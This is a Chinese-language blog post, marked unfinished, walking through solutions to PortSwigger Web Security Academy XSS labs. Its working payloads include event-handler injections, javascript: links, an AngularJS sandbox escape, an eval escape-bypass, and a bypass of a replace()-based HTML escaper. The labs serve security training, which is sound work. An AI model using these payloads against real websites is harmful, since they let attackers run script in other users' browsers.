Portswigger Web Security Academy Labs --XSS (unfinished)

两个月不写博客没被开真是个奇迹image,本来这周打算比完赛之后睡大觉,但是看到nova凌晨直播Pwn属实是把我卷到了。。感觉是时候糊弄几篇博客了。但一直以来我web都是在乱学,不知道整点什么活,就看了看天枢协会的新生建议(发现完全适合我),找到了Portswigger Web Security Academy,发现还挺有意思的

那就先来点简单点的,做一做上面的xss lab

Reflected XSS into HTML context with nothing encoded

Stored XSS into HTML context with nothing encoded

这两个就考你知不知道什么是xss,略过了

DOM XSS in document.write sink using source

观察他的前端js逻辑
image
拼接一下,用img标签+onload触发alert即可

1" onload="alert(1)

预期解用到svg标签

"><svg onload=alert(1)>

DOM XSS in innerHTML sink using source

image

本来想直接?search=<script>alert%281%29<%2Fscript>,但发现<span>标签里触发不了
image
那就直接

<svg onload=alert()>

DOM XSS in jQuery anchor href attribute sink using location.search source

image

会把returnPath动态写道href里。如果尝试闭合a标签,会发现逃不出引号。估计是jquery的特性。但我们可以用javascript伪协议构造一个这样的a标签

<a href="javascript:alert()">1</a>

DOM XSS in jQuery selector sink using a hashchange event

这题开始有点小绕了

image

一番搜索,发现两个事实

  1. location.hash就是anchor标签#后的内容
  2. jquery selector可能会存在xss注入

用最新版jquery试一试


<!doctype html>
<html dir="ltr" lang="en">
  <head>

  </head>
  <body>
    <script src="https://code.jquery.com/jquery-3.6.0.js" integrity="sha256-H+K7U5CnXl1h5ywQfKtSj8PCmoN9aaq30gDh27Xc0jk=" crossorigin="anonymous"></script>
    <script>
        $(function(){
            var post = $('<img src=1 onerror=print()>');
        })
    </script>
  </body>
</html>

成功弹打印机。回到题目,直接访问https://xxxx.web-security-academy.net/#<img src=1 onerror=print()>触发hashChange即可弹。但是判题有点问题,预期解要起个server,还要弄到iframe里。。不管他了

Reflected XSS into attribute with angle brackets HTML-encoded

当访问?search=<123>
image

尖括号被编码,我们无法闭合尖括号。但试了一下引号没被编码。通过闭合value的引号,一番搜索找到适合input框的onmouseover属性,构造" onmouseover="alert(1)

Stored XSS into anchor href attribute with double quotes HTML-encoded

从website注入href标签,和上面一样

Reflected XSS into a JavaScript string with angle brackets HTML encoded

image

输入123直接送到了script标签里面,闭合一下直接alert

';alert();let a='

DOM XSS in document.write sink using source location.search inside a select element

image

按照源码访问product?productId=1&storeId=123试试

image

尝试闭合一下product?productId=1&storeId=123</option><img src=1 onerror=alert()><option>2

但居然弹不了。。预期解product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>

??不太懂为啥我这样不行

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

AngularJS是前端框架,payload搜一搜就能打

{{constructor.constructor('alert(1)')()}}

Reflected DOM XSS

观察一下他有个restful api

image

然后会直接eval返回的包

image

而且后端对引号加了个\转义,空格也被吞掉。

构造一下"};alert();//

image

chrome控制台试了下eval没问题,但是题目弹不了?可能就是那个转义的原因。于是双重转义绕一下

\"};alert();//

btw,如果有CSP头,必须在CSP头指定unsafe-eval才能使用类似eval的危险函数

image

Stored DOM XSS

获取评论的功能从restful api解析后动态渲染
image

function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};

自己做没搞出来。没想到问题在过滤函数的replace
image

所以多搞几个<>就行。。学到了

<><img src=1 onerror=alert(1)>

posted @ 2022-07-20 14:56  KingBridge  阅读(479)  评论(0编辑  收藏  举报